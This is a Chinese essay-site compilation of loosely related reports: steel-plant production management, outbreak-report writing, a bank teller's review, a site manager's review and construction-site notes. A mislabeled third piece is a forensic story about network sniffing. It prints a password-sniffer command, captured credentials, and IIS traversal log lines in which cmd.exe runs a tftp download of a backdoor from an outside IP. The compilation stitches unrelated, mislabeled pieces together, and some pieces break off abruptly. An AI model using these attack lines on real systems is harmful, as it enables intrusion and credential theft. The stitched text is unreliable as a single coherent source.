现场管理调查报告（精选8篇）
1.现场管理调查报告 篇一
关于对******生产管理的调查报告
调查时间：2008年10月8日-10月18日
调查对象：******
调查方法：到企业实地观察、访谈和收集相关资料
一、调查目的生产管理是制造企业管理的重要组成部分，直接影响企业的生产效率和经济效益，只有不断地优化生产管理，才能实现企业管理的整体优化。我国制造业企业在企业升级和推进企业管理现代化过程中，虽也创造了一些改善现场管理的经验，但多数制造业企业的生产现场水平管理仍有待提高。本文通过对******的生产现场管理若干问题的阐述，以期能对我国制造企业生产管理水平的提高有所益助。
二、企业基本情况
******始建于2001年，公司隶属于中国500强企业—江苏新长江实业集团有限公司，主要生产各种规格、型号的螺纹钢、带钢、宽厚板和角钢。公司地处江阴市经济开发区西区沿江地段，在沿江占地1000余亩，拥有固定资产15亿元，总建筑面积达13万平方米。该公司建立了符合ISO9001：2000标准要求的质量保证体系，并严格按照ISO9001质量体系进行生产、销售、服务，该公司的“长强”牌螺纹钢荣获了无锡市名牌产品、江苏省名牌产品等荣誉称号，受到了市场的广泛认可，在华东市场具有一定的影响力。
三、该公司生产管理存在的问题
通过调查，我发现该公司的生产管理存在着如下几个问题：
1、该公司对生产管理缺乏系统、深刻、清晰的认识，缺乏综合管理能力。即该公司没有把生产管理看作是一个区域性管理系统，没有认识到生产管理是综合性管理，堆生产管理缺乏综合协调。如有些车间没有把生产现场作为一个生产作业系统来研究，往往简单地要求生产现场执行指令，但不同的职能部门都从不同的角度从事管理活动，都有各自的目标，没有真正做到有效的综合协调，致使生产管理的直接指挥者忙于应付。其结果往往是生产的实际问题得不到及时的解
决，因而提高产品质量、降低物资消耗，增加经济效益在生产管理中得不到有效保证。
2、该公司在生产管理中浪费严重，成本居高不下。该公司在生产过程中浪费非常严重，浪费主要是物料的浪费。这种浪费一是人为造成的，如一些员工将物料、备品备件乱丢乱弃，甚至当垃圾处理，消除这种浪费的办法是要提高员工的思想认识以及加强成本核算，完善成本考核制度；二是由于该企业生产技术低下造成的，如生产过程中的一些下角料，技术水平较高的一些企业完全可以继续使用，而生产水平较低的一些企业只能将其视为垃圾进行处理，这样不但造成了资源的巨大浪费，而且也增加了企业进行垃圾处理的成本。另外，生产技术水平低下还会造成物料投入的增加，从而抑制了企业资源效率的发挥，对该公司来说，如何改进生产技术，提高物料利用率将是企业减少浪费的主要途径。
3、该公司中无效劳动普遍存在，极大浪费人力资源。该企业的无效劳动主要表现为两种形式：一种无效劳动属于生产积压产品的劳动，这样产品积压可能是由于产量过多导致供过于求造成的，也可能是由于生产出来的产品不能适销对路导致滞销造成的，但两者的后果，都是“劳而无功”。另一种无效劳动即是窝工，即由于物料和生产工具供应不及时或摆放不到位，员工往往需要等待或到处寻找这些生产要素。另外，员工在实际生产过程中也普遍存在着大量多余的动作，从表面上看，这些员工往往在车间内跑来跑去，呈现出一派繁忙的景象，但实际上生产效率可能极为低下，无效劳动是人力资源的一种巨大浪费，而且还会加大员工的劳动强度。
4、该公司生产现场环境卫生差，难以保证产品质量。该公司象大多数企业一样都比较关注市场形象的塑造，希望给社会公众留下良好的印象，但“金玉其外、败絮其中”，进入该企业眼帘的往往是物料、半成品、废料乱堆乱放，地面脏乱不堪，杂物堆积，通道堵塞，作业面狭窄，“脏、乱、差”的情况比较严重，这种现场环境根本难以保证产品的质量。
四、针对以上的问题应采取的措施
如******类似的制造业，如何完善和改进生产管理，应从以下几个方面考虑；
1、应将生产管理看作一个综合系统，实施系统管理。制造业的生产过程是一个系统工程，搞好生产管理必须全面规划，有计划、有步骤、分期分批、有先
有后、有主有次、按部就班地循序渐进，稳步提高。生产管理建设要与企业的产品结构调整、工艺路线调整、组织结构调整相结合，与技术改造规划相结合、与引进技术相结合。生产管理要纳入企业升级、全面提高企业素质规划，同升级活动结合进行，以企业升级带动生产管理，用生产管理保证企业升级。而且，应注意把各项专业管理在生产现场进行有机结合，防止只抓某一方面专业管理，忽视另一方面专业管理。
2、加强物料管理，挖潜降耗，降低成本。
（1）通过完善规章制度，激励员工控制成本，具体可以分为以下几个措施：①制订成本核算制度，配备成本核算人员。厂部可以将成本细分到车间、班 组、个人，做到班组成员人人都有成本指标，个个都有控制成本的责任，坚持车间、班组的月、周成本分析会，找问题、查原因、定措施，形成一个周密的成本控制系统。
②实行多角度、多层次成本控制办法。如该公司的螺纹钢车间，严格控制设备运行周期、设备运行指标、检修部位和检修周期，每个方面都按照盈亏平衡法进行计算，确立最佳经济点，对降低煤耗、电耗等成本费用可起到重要作用，并形成制度贯彻执行。
③实行严格的成本考核制度。一是各个车间的成本报表要接受公司财务处、审计部门的严格审查，杜绝乱摊成本，避免成本虚假现象。二是各车间、班组按成本考核进行奖惩，低于考核成本的奖励，超过考核成本扣罚。
（2）对物料本身的管理。不同的物料在性质上和使用价值上存在着较大的差异，必须进行分类管理。对生产现场一切易燃、易爆、有毒、容易造成污染和引起安全事故的物料要实行隔离和特殊定置，划分警戒区并派专人严格管制，防止意外事故的发生。同时，对留置在现场上的其他物料要进行科学界定，将其划分为“有用之物”和“无用之物”。有用之物是即将参与生产过程，这些物料是生产必需的，但也并非多多益善，要实行“零置留”管理。“零置留”管理并非一点都不留置，而是物料的多少要以满足生产的需要为限，多了就可能闲置，而少了则会影响生产的进度。无用之物也并非一无是处，这些物料还有可能通过回收再利用而发挥潜能，因此，不可一律将其作为废物处理。并通过对制造现场各种物料的分类置放和严格登记造册，使每一笔物料的流向都十分清楚，从而杜绝
了物料的浪费。
3、针对无效劳动，实行定置管理。对于生产过程中普遍存在的无效劳动，一个有效的解决途径就是实行有效的标准管理。
首先可进行作业分析，实现岗位工作标准化。所谓作业分析，就是在流程工序分析的基础上，对工作地或工作岗位的全部作业因素（作业目的、方法、环境等）进行分析。作业分析的核心是以人为主体分析作业方法，即对作业者的一系列行为作为分析研究。作业分析的目的是使每一岗位要用最佳的操作，最好的程序，最少的时间达到最高的要求，生产出最好的产品。主要解决每个岗位干什么、怎么干、什么时间干、干到什么程度的程度，同时运用岗位作业分析制定岗位操作标准，明确规定岗位的工作目标、操作程序、操作时间、操作内容、操作方法和岗位人员定额。而且为了有效实施岗位标准，应明确规定各个岗位的岗位职责和权限、岗位人员的素质要求、岗位目标和定额、各个标准的考核规定，以保证标准的实施。
其次有效的解决好物料、工具与场所的管理。即置于生产现场的物料和生产工具必须要尽量做到“过目可见，触手可及”，至于不常用的物料和生产工具要到何处寻找则要做到员工“心中有数”，这样可以用最快的速度获取所需之物，从而减少寻找的时间，提高生产效率。这样通过空间的合理利用和物料的灵活布置，保持生产现场的整齐有序，从而进一步强化了生产秩序，为提高生产管理打下良好的基础。
4、针对生产环境的脏、乱、差，可实施定置管理。可按照定置管理的要求，设计绘制各种工序的定置管理图，制定定制管理标准，并可按照定置管理标准的要求，对生产现场进行清理检查工作，对各种物品、工具、材料等分别按照定置管理图的要求位置摆放，应作到工作场地整齐规范，界区明显，道路畅通，布局合理。对生产现场所有的设备、材料、工具、用具及其他物品实行定置管理时，要充分利用空间，做到操作方便、运输距离短、装卸次数少，及可靠的安全防护保证，使生产现场的人、物、场地处于最佳结合状态。作业场地要标志清楚，施工材料及器具摆放有序，施工结束后，现场的杂物，垃圾和废料要及时清除，工作场所内要窗明壁净，温度、亮度、湿度要符合生产要求。
5、强化安全生产意识。对钢铁企业来说，安全就是生命，安全就是效益，安全是一切工作的重中之重。唯有安全生产这个环节不出差错，我们的企业才能去争取更好的成绩。安全生产百分百，要做到这一点不是一件容易的事，要掌握安全工作规程、技术操作规程，企业纪律章程这几件法宝，另外，企业还应成立安全工作督导小组，安排干部和工程技术人员值班，加强对要害部位的出入登记管理，从思想上筑牢安全生产的防线。同时，厂部和车间深入班组切实提高班组安全学习日的质量，切实抓好现场管理工作，为安全生产创造良好的工作环境。另外，一轧厂还每天组织人员对设备设施和劳保用品的穿戴进行一次检查，并不定期对天车和压力容器等特种设备进行专项检查。
在制造业企业生产管理中，由于每个企业的具体情况不同，企业可根据自身的条件，从实际需要出发，采取具体措施，对于在生产管理中存在多种问题的企业，企业可抓住薄弱环节，选择那些事关全局，又比较容易见效的问题，作为改善生产管理的突破口。
无疑，已入世的中国制造业企业面对的竞争将会越赖越激烈，生产管理作为企业生产经营活动的基础，很大程度上决定了企业的总体管理水平和经济效益。我国制造业只有通过不断完善与强化生产管理，促进各专业管理水平的不断提高，才能在竞争中处于较为有利的地位。
参考文献；
1、周惠兴、杨萌环：《企业生产现场管理》，中国人民大学出版社1991版；
2、张晓东：《现场管理与5S》，中国计量出版社2001版；
3、崔介何，《企业物流学》，中国物资出版社2002版；
4、肖智军、商勇、党新民，《现场管理实务》，广东经济出版社2001版。
2.现场管理调查报告 篇二
现场暴发调查报告按调查发展过程分类属于结案报告;根据调查使用目的分类属于业务总结;根据调查报告所涉及的内容分类属于暴发疫情调查报告。
2现场暴发调查报告的写作原则
2.1时效性必须在调查后迅速完成。
2.2真实性通过客观事实去认识和说明调查事件的过程, 客观资料为依据, 分析研究、合理推理得出科学的结论。
2.3科学性调查报告在方法论上的特点, 论述的内容要具有科学可信性, 所用的方法必须科学规范。
2.4实用性对控制疫情有实际指导意义。
2.5创造性不是简单的复述、模仿, 墨守成规。
3现场暴发调查报告的创作主体
现场暴发调查报告的创作主体就是参加疫情暴发调查处理的整个团队, 现场暴发调查处理工作凭借的是团队的力量, 集体的智慧, 报告的书写也是在集体讨论的基础上, 科学论证, 由调查组长执笔或指定执笔人来完成现场暴发调查报告的书写工作。
4现场暴发调查报告的内容
应根据现场流行病学的理论方法, 侧重对疾病发生的三个环节及影响因素进行阐述, 说明暴发疫情的暴露因素、传播途径、采取的措施等。在实际工作中, “现场暴发调查报告”等同于结案报告。但是两者还有区别, 理论上来说结案报告要在确认事件终止后2周内, 对事件的发生和处理情况进行总结, 分析其原因和影响因素, 并提出今后对类似事件的防范和处置建议。现场暴发调查报告只要描述性流行病学建立了假设;分析性流行病学验证了假设;实验流行病学拿到了病原学的可靠检测结果, 并能够提供科学有效的干预措施, 就具备完成现场暴发调查报告撰写的条件了。
5现场暴发调查报告书写提纲
首先写明标题、前言 (开头)
5.1基本情况包括自然情况、发病情况、卫生学调查情况 (食物中毒等事件) 、核实诊断情况。
5.2流行病学调查情况包括时间分布、地区分布、人群分布 (职业分布) 。
5.3流行病学分析包括建立假设的条件、分析性流行病学结果、病原学检测结果。
5.4初步结论做定性初步结论, 写明主要依据。
5.5采取的预防控制措施
5.6存在的问题
5.7建议
5.8落款和时间
6标题的书写内容:
标题的书写要求主要是准确表达暴发的地点、疾病名称。用简练的语言提炼出某起暴发的地点和标准的疾病名称作为标题。如果暂时不能确定暴发的性质或者为不明原因疾病, 可以考虑冠以“关于某某地某某症状体征聚集性病例的调查报告”, 不提倡使用“关于某某地不明原因疾病暴发的调查报告”, 尤其是在缺乏科学证据的情况下要慎用。
7前言的书写内容 (开头)
简要介绍本次现场暴发调查的任务来源、时间、目的、调查的地点、参加人员、出发前所做的评估准备工作、开展调查经过等。
8基本情况
8.1自然情况简要介绍调查现场所处地区村屯、学校、社区等人口、地理特征, 与本次暴发相关的环境场所等自然情况。
8.2发病情况详细描述首发病例以来的病人总数。确诊病例数, 疑似病例数, 住院, 重症和死亡病例数, 罹患率、感染率等。
8.3卫生学调查情况如果是食物中毒、化学中毒、辐射损伤、人畜共患疾病等传染病暴发和突发公共卫生事件, 要进行卫生学调查。卫生学调查是有针对性的根据暴发的性质和类型开展的现场调查。如食物中毒、职业中毒、辐射损伤、人畜共患传染病等不同事件开展的围绕暴露方式和收集可疑样品的调查。
8.4核实诊断情况描述临床的诊断情况, 特别是实验室检测和其他辅助诊断结果, 对患者的治疗经过和效果。对患者的流行病学个案调查情况, 对照国家传染病诊断标准的初步结果和印象。是否确定暴发或构成突发公共卫生事件。
9流行病学调查情况
9.1时间分布 (直方图) 弄清暴露和卫生事件之间的时间关系;
9.2地区分布 (直方图或柱图) 可提示卫生事件的地区范围, 并有助于建立假设;
9.3人群分布 (直方图、柱图、饼图) 主要发现病例与普通人群的不同, 提出与危险因素有关的宿主特征, 其他潜在危险因素及传染源、传播方式和传播速度的假设。
10流行病学分析
10.1建立假设的条件临床和实验室及辅助诊断资料说明的从时间、地区、人群分布的资料中显示的共同暴露因素。
10.2分析性流行病学结果采用病例对照 (OR值) 、队列对照 (RR值) 及其他分析流行病学方法进行统计分析。目前多采用Ep Info软件来完成。
10.3病原学检测结果对实验室检测结果进行总结描述。说明样品来源, 检测的时间、方法, 以及质控情况。如有条件还需进一步做细菌和病毒的分子分型检测, 并进行说明。
11初步结论 (定性)
集体决策给本起暴发或事件下定性结论。定性要准, 结论要科学。主要包括暴露因素、传播途径、疾病名称等。
12主要依据:
主要根据流行病学接触史、描述性流行病学的判断、分析性流行病学的结论、病原学检测结果等。
13采取的预防控制措施
列举采取的预防控制措施及实施效果。原则是边调查边采取预防控制措施。
14存在的问题
主要针对本起暴发处置工作中遇到的问题及可能引起的不良后果, 尤其卫生部门自己无法解决的问题等进行阐述。存在的问题要说清来龙去脉, 简单扼要。
15建议
要有针对性, 要以各项技术规范和客观事实为依据, 提出切实可行的合理化的建议, 为领导决策提供科学依据。
16落款
3.犯罪现场调查 篇三
1 网络安全工程师如何处理公司信息泄露的技术
2 如何解决保护服务器日志技巧
3 掌握分析攻击者入侵行为的技巧
什么是Sniffer
Sniffer(嗅探)是一种常用的收集有用数据方法，这些数据可以是用户的账号和密码，可以是一些商用机密数据，也可以是检测内网错误信息等等。最主要应用于管理人员监视公司网络，并可以随时掌握网络的实际情况。在网络性能急剧下降的时候，可以通过Sniffer工具来分析原因，找出造成网络阻塞的来源。当然嗅探也是一把双刃剑，被恶意攻击者利用的话就可能窃取公司机密信息，就如同这次公司档案外泄的案件就是被攻击者在内网使用嗅探技术得到内网中的公共信息导致的。
为什么机密信息也能截获？
Sniffer工作在网络环境中的底层，它会拦截所有的正在网络上传送的数据，并且通过相应的软件处理，可以实时分析这些数据的内容，进而分析所处的网络状态和整体布局，通过Sniffer可以轻易地得到非加密处理的内网中很多机密信息。
容易泄露的秘密
1.口令:这是攻击者使用Sniffer的必然因素，由于Sniffer可以记录到明文传送的userid(用户名)和passwd(密码)，我们的服务器管理账号就是在这里被攻击者截取的。
2.金融账号:现在公司很多时候需要在网上使用自己的信用卡或现金账号，然而Sniffer可以很轻松截获在网上传送的用户姓名、口令、信用卡号码、截止日期、账号和pin.
3.邮件和协同办公数据:通过拦截数据包，入侵者可以很方便记录别人之间敏感的信息传送，或者干脆拦截整个的E-mail会话过程。一些公司员工的协同办公数据丢失。
Sniffer工具下载
Sniffer: http://download.enet.com.cn/html/211902001032602.html
MSN Chat Monitor & Sniffer:http://down1.tech.sina.com.cn/download/downContent/2005-03-01/13154.shtml
重要提示:Sniffer软件运行有一定风险，同时对局域网会有比较大的负面影响，有可能会拖慢整个网络，请您慎重选用。
★小编有话说：“天生我才之网络天才”栏目，已经伴随着读者朋友走过了近一年的时间，相信坚持阅读这个栏目的朋友已经初步掌握了网管所需要的一些技能。同时，有一些朋友已经不满足于现状，希望学习更高一级的网络安全工程师的内容。为此，我们决定将“网络天才”定位到“网络安全工程师”，我们专门找到了具有丰富实战经验的网络安全工程师，请他们给您实战演示一下真正的“黑客对抗”！本期我们的话题将是“偷窥”技术……
周日的下午，CSI集团的网络安全工程顾问——“白大虾”与几位同行相约在一个幽静的小酒吧里聚首。当“白大虾”赶到酒吧时，听到以前共事的老朋友正在神侃一段当年自己侦破公司内部资料失窃的光辉历史……
机密被盗
那是两年前的事情了，小白刚刚开始从事网络安全分析师这份工作就遇到棘手的工作。也是一个周日的下午，公司副总裁忽然气急败坏的打电话到网络部吼到:“你们网络部的技术员都是吃白饭的啊！公司的客户列表居然被对手拿到了，限你们1天内把情况搞清楚，否则全部滚蛋！”
公司有“内鬼”？
工程师老刘听到副总的暴怒的内容脑子中闪现出:“内网嗅探数据劫持”。只有公司内部的员工计算机才有可能访问到内网服务器获取重要的信息资料，但是公司内应该没有这种级别的计算机知识人员啊。老刘带着小白进入机房打开服务器细心地检查起来。半个小时过去了，老刘松了一口气说:“终于找到原因了，还好没造成很大的损失。”这次事故估计是竞争对手搞的小动作，攻击者通过WEB服务器进入内网后利用嗅探技术窃取了客户列表，但是由于WEB服务器不是域网关，权限不够，所以没有拿到客户完整资料。由此可以确定不是公司内部员工出的问题，公司分配给WEB服务器的权限远小于数据服务器，而有机会接触服务器的人都有读取数据库的权限。
★思路总结:
只丢失部分资料→用户权限不足→不是“内鬼”→权限较小的服务器是什么？→Web服务器可能最大→能接触Web服务器的人有嫌疑。
顺藤摸瓜
“噢，我明白了，这次公司资料外泄的最大元凶就是嗅探导致的了！但是攻击者是如何进行的嗅探呢？”小白问到。“恩，跟我来，在服务器上我给你讲解一下。”老刘打开10.4.1.1(域网关服务器)，说到:“Sniffer在内网工作时，要求嗅探程序运行在网关服务器上才能完全收集到所有(10.4.1.1～10.4.1.255)内网用户的信息。根据Sniffer的工作原理可知道，这次针对公司数据的攻击者是在得到内网服务器的权限后才实现的信息窃取。我们来模拟一下黑客攻击的过程:
在服务器上打开cmd命令行中运行一个功能简易的嗅探器X-sinffer，这个工具可捕获局域网内FTP/SMTP/POP3/HTTP协议的明文密码(见图1)。执行以下命令:xnsiff.exe -pass -hide -log pass.log(见图2)
“小白，你去10.4.1.101计算机上登录到公司的协同办公系统中，向服务器发送一份公司产品报价单。”看到没有，在Sniffer运行的目录下生成的pass.log文档中有如下记录:
19:2710.4.1.101 uiD:xiaobai pass:acttdr
19:2710.4.1.1 houD:baojia.doc to 10.4.1.101 uiD:xiaobai pass:acttdr
“看到了吗？你登录在101上计算机上的用户名和密码都被纪录下来，并且操作行为也有记录。当攻击者得到本地协同办公的登录密码后，就可以进入公司的办公系统，从而轻易获取公司信息。就是这种最简单的内网嗅探攻击行为截取了公司内办公时传送的客户列表。”
图1
图2
★思路总结:
嗅探工具截获了协同办公的密码→进入公司内网→获得客户列表。
白色档案——日志分析
“哦，我大概明白了嗅探的攻击作用，但你又是如何判断到攻击者的攻击行为的呢?”小白又提出新的疑问。“呵呵，那是分析日志得到结果。”老刘分别打开服务器上的多个日志文件:
IIS日志保存在C:winntsystem32LogFilesw3svc1(默认C盘为系统盘的路径)。IIS日志是记录攻击者在对服务器上的网页进行的扫描操作等行为描述。让我们来看看这次的攻击者是怎么入侵公司服务器的:
攻击者向网页服务器提出要求，让服务器送回本身的版本信息:(一般会使用nc.exe探测)
C:>nc -n 10.0.2.55 80
……
Server: Microsoft-IIS/5.0
DatE: Sun， 08 Mar 2007 14:31:00 GMT
……
通过上述信息，攻击者可以确定服务器使用的Windows 2000+IIS5.0系统，进而发动了利用漏洞的入侵。攻击者如果查看本地服务上的目录文件，则日志中会记录下此访问行为:
2007-03-01 08:47:47 202.99.16.17 - 10.4.1.100 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -
通过日志我们可以看到攻击者202.99.16.17利用本地的cmd.exe察看了系统盘内有什么文件。
2007-03-01 08:59:04 202.99.16.17 - 10.4.1.100 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cppce.dll%20C:httpodbc.dll
502 -
这里可以看到攻击者利用tftp向61.48.10.129服务器传送了cppce.dll后门。攻击者利用serv-u溢出漏洞攻击服务器，并获取了用户权限。
“这次被入侵的根源已经被找到了，必须要把公司里的安全系统从新整理升级一下。小白有时间多看看入侵案例，从明天开始我带你一起完整地做一次公司的安全规划。”
小提示:Windows的系统重要日志
安全日志文件:%systemroot%system32config SecEvent.EVT
系统日志文件:%systemroot%system32config SysEvent.EVT
应用程序日志文件:%systemroot%system32config AppEvent.EVT
FTP连接日志和HTTPD事务日志:%systemroot% system32LogFiles，
打开注册表HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesEventlog位置，下面的Application、Security、System几个子键，分别对应“应用程序日志”、“安全日志”、“系统日志”。修改注册表的Application、System等子键（见图3）。
图3
★思路总结：
4.银行现场管理述职报告 篇四
一、业务技能的不断提升
对于我来说，做好柜员一职，首先就是要做事冷静，精神集中。柜台最前线，我们的工作需要配合主动、热情、耐心的服务。经过不断的努力学习，在实际工作中的持续磨练，现在已经熟练掌握了相关业务以及规章制度，逐渐成长为一名业务熟手。这时我渐渐明白无论是做什么工作，重要的是如何将它做的好，做的更好。务必将工作做细、做好、做精。20XX年上半年我的工作职责是现金库管员和凭证卡库管员，以及银行承兑汇票的相关工作。在工作中我始终保持高度警惕，坚决杜绝风险。作遵守各项规章管理制度，不断提高风险防范意识，降低差错率。始终按照行里各项规章制度的要求办理业务，不违规操作，努力提高操作规范性，改正不良操作习惯，在工作中严格要求自己。通过不断的历练在业务技能上不断成长。
二、工作习惯的日渐成熟
银行工作需要的是集体的团结协作，一个人的力量总是有限的。团队合作，不管到哪里都是一种发展该企业的源泉。在工作中，不仅挑战了自我同时也熔入了团队，在这个团队中我得到了领导和同事们的帮助，也和同事一起积极配合把业务做好，每当做完一天的工作，我都为自己在这个团队中尽到自己的义务而自豪。我在日常的一线服务中始终保持着饱满的工作热情和良好的工作态度。使用“站立式服务”，且做到“来有迎声，走有送声”。我的岗位是一个小小的窗口，它是银行和客户的纽带，我的一言一行都代表了交通银行的形象，针对不同客户我慢慢学会采取不同的工作方式，努力为客户提供质满意的服务。
三、职业道德的正确树立
一年以来，我觉我在工作责任心上有很大提高。在银行工作自己所担任的就是一名工作职员，要对自己做的事情负责，对公司负责，对储户负责。工作后每个人都必须要坚守自己的职业道德和努力进步自己的职业素养。正所谓做一行就要懂一行的行规，没有规矩不成方圆。在这一点上我在银行工作的一年中深有体会。现在银行属于服务行业，所以职员的工作态度题目尤为重要。经过20XX年的学习，我更加体会到银行是一个高风险的行业，会计工作作为银行最基础的工作，必须要严格按操作规程办事，认真细致，扎实投入，一步一个脚印。
四、存在的问题以及今后努力的方向：
总结回顾20XX年这一年有付出有收获，但仍然存在以下不足：虽然业务技能的不断提升但工作经验仍然有待丰富，二是学习主动性不强。针对自己的不足明确了今后的努力方向：首先，工作的不足和欠缺请各位领导和同事批评、指正。在今后的工作和生活中进一步加强学习，虚心求教，克服不足，不断积累经验，将工作做得更好。在以更饱满的热情投入到工作中，履行自身的工作职责，把工作提升到一个新的高度。其次，作为一名老柜员更应该把学习作为保持工作积极性的重要途径。本人将结合实际，不断学习理论、业务知识和社会知识，用先进的理论武装头脑，用精良的业务知识提升能力，以广博的社会知识拓展视野，完善自我。
五、结束语
从大理交行银行成立以来的时光一晃而过，却让我从中学到了很多社会道理，而这些东西也将让受益匪浅，银行的实习加深了我与社会各阶层人的情感，拉近了我与社会的间隔，也让自己在社会实践中开拓了视野，增长了才干，进步了适应社会的能力。每当从银行晚归，带着行里的温馨，一路也不觉得那么孤单。
5.现场管理部干部述职报告 篇五
1、是否继续连任目前的管理工作？
答：是经过半年来的现场管理工作，我自己从内心的感到这个部门及岗位的重要性，现场管理是属于公司对外服务及项目售后服务的一个窗口，是产品售后的第一线，同时也是我司与客户交流与学习的一个平台，虽然在过去的工作中有许多不足与不好的地方，个人也犯了错误，但在今年的工作中我要理清一下工作思路，争取把去年没有做好的事情在新的一年努力做好，更加认真对待自已的岗位工作，学习设计软件，能独立解决现场问题，多与部门沟通，多与客户沟通和交流，以提高我司的管理形象和服务质量。
2、是否有其他岗位更适合你？
答：没有我自己还想在现场管理部再做至少一年，因为现场是一线，只有到一线才能发现产品最终的问题，才能不断的提高自己的水平和能力。3、2012年所管辖部门的管理思路及工作计划。要达到的目标。
管理思路：在新的一年里，要将现场工作和人员进行合理配置，通过项目分组、定员、定岗，制订出每个项目的进厂调试计划，并组织协调和激励考核等管理方式，确保现场项目按预定的目标完成。现场管理是公司管理的重要环节和部门，在公司项目运营中，有很多的质量问题，必然会在现
场得到反馈和整改，其首要任务是保证现场的各个区域项目能够有秩序地进行，实现每个项目都能顺利的完成。现场每个项目的问题都认真做好记录并图文并茂及时反馈给技术部，以便总结经验和完整资料的保存。提高现场钳工能力，能独立解决现场的各种调试技术问题、不等、不拖、不上交。
工作计划：1）根据公司目前发展情况，部门计划在自动化方面增加两名人员，调试钳工增加2——4名，2）制定好部门员工培训计划，学习客户的标准，达到的目标
是每位现场调试钳工能够独立的解决现场问题，能够分析问题。
3）建立部门骨干力量，把平时在工作中表现好、能吃苦耐劳、动手能力强的员工进行内部的分行业培养人才（支架、样架、检具、夹具）
4）自身学习会管理工作，也就是说授予下属做事的权力，但
是出了问题责任还是由管理者来承担，这样下属才能充分放开手脚去做事。
5）现场项目还是需要分类管理，负责专人跟踪，管理者做好
过程的监管和指导，保证事情的进展实时可控，不出意外。做好项目的信息及时反馈。
6）对下属的考核、工作结果公正评判并奖罚分明。对好的工作结果要赞赏和奖励，对做的不够好的地方要指出批评，做到对事不对人。
目标：减少产品质量事故、减少返工率、最大程度的让公司节约成本，最大程度的让客户满意！
4、对部门人员的分工，业绩的考核，技术能力的评定方案。
人员分工：以公司目前的情况出分，分检具类、夹具类、装配样架类进行分工，按员工每个人的最大优点放置到最合适的工作作岗位上，发挥其长。
业绩考核：公平、公正、按员工完成工作量的速度与质量，工作态度以及工作的积极性来评定其业绩。
5、如何提高执行力。
执行力就是按质按量地完成工作任务的能力，一个人执行力的强弱取决于个人能力和工作态度，能力是基础，态度是关键。我是一个老被批的对象。作为公司的中层干部及部门经理，在员工面前，为人处事和行为规范都要严于律己，以身作则，由于业务的扩大，公司肯定需要通过增加新的人手和工作分工来提高效率和工作质量，同时也要有制定完善的管理制度，这一点我是坚决支持的，在日常工作中，也要敢于突破思维和传统经验的束缚，不断寻求新的思路和方法，使我们的执行的力度变的更大、速度更快、效果更好。
6、如何培养他人的能力。
个人的观点，员工进到公司必定要经过公司人事部门严格面试，最后
才能被入用，也就是说，他个人是有一定的专业基础，培养一个人的能力也是需要长期的坚持和锻炼的，寻找到适合他自已的岗位，在通过工作和员工自身态度及专业知识的学习，共同培养提高。
7、美国GE公司总裁韦尔奇认为，企业领导必须“忙碌”一些有意义的工作。„„自己的工作就是：一手拿着水罐，一手拿着化学肥料，让所有的事情都变得枝繁叶茂。你对此事的看法？
我认为此话有一定的道理，在一个正在逐步成长并渐渐强大的公司里，一个中层干部不可能将所有的事情都掌握在手里亲力亲为，公司在成长，个人也在随着成长，从思维到劳动分工，可以着手将一些事务分配给下属或是新人来进行，自己可以有更多的时间和精力来发展更大的空间，比如说公司在刚成立时，有很小事情都是我们自已亲手去做，包括采购、外协、打磨、油漆涂装等，随着公司发展有些事情是可以交到其他人手中或者说是更专业的人手中去做，我便会有更多的时间来了解技术和现场问题。
8、如何提高带领团队的能力？
首先是要先组织一个好的团队，好的团队决不是随随便便凑合在一起的乌合之众，而是为实现一个共同的目标，按照必备的条件，经过严格的挑选而组织起来的精干的团体。做好团队成员之间的沟通和协调工作，彼此之间要开诚布公，生活中相互关心，工作中相互帮助学习共同进步；
团队是集体，团队的利益要高于个体的利益，明确团队中每个成员的岗位，每个人都做自己最擅长的工作，每个人都要平等对待。团队合作是一种永无止境的过程，虽然合作的成败取决于各成员的工作态度和能力，但是，维系成员之间的合作关系却是我们责无旁贷的工作。必须信任团队的所有成员，要与团队的每一个成员紧密合作。
2012
6.现场管理调查报告 篇六
我们重新复习一下现场管理工作所要重视的几个环节：
一、施工合同的制订和解读。有人说，这和我现场施工有什么关系？有关系。一个工程是否能实现预算中的利润，首先得有一个好的合同。如果项目实施管理人员不具备工程合同前期参与的条件，那么在接手此项目后，就一定要将前期商务中的基本情况问清楚，将施工合同中所有的条款解读清楚。如果不清楚的地方，一定要和业务负责人员沟通透彻。否则到了工地，两眼一抹黑，工作一开始就处于被动局面。有些时候，甚至工作快结束了，我们都不太清楚这个工程进度款支付方式是怎么样的，工程是固定单价还是总价包死的，这个工程如果遇到增加工作量是如何计算的，等等。所有人都知道合同的重要性，是我们双方规避风险保护各自利益的最有效方式，但并不是所有施工管理人员都足够重视它。做着做着，大家就忽略了它的存在和重要性。
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二、工程质量的管理。很多同事总结这么多年现场管理工作中所出现的问题，不管问题最终造成的后果的表现形式是什么，但根本上来说，都和质量有关系。所有质量问题，恰恰也都和现场施工管理有直接关联。我们每一个人都非常注重工程材料质量问题，非常注重工程施工质量问题，也非常注重工程设计质量问题。这些问题，大家一开始都会将它们挂在嘴上，记在纸上，放在心里。没有用。因为，在日常现场施工管理中，我们管理着管理着，就将它们管理没有了。有些人认为：材料差一点没关系；不会对结构安全有太大影响的改动也没关系；施工中马虎一点也没要紧；设计中，只要符合什么什么要求了就不要紧，出了什么问题反正现场可以发现可以按现场实际要求重新来做。工程结束后，有些问题可能短时间不会暴露，有些问题，立即就会成为我们顺利实现利润的最大障碍。比如漏雨，比如材料被供货商偷梁换柱，比如因质量导致的安全事故。。。等等。这些是谁的责任？如何解决？作为现场施工人员，责无旁贷。但为什么这些问题却能多多少少在任何一个工地上出现呢？还是那么句话，我们最初最重视的东西，做着做着，我们就忽略了它的存在和重要性！
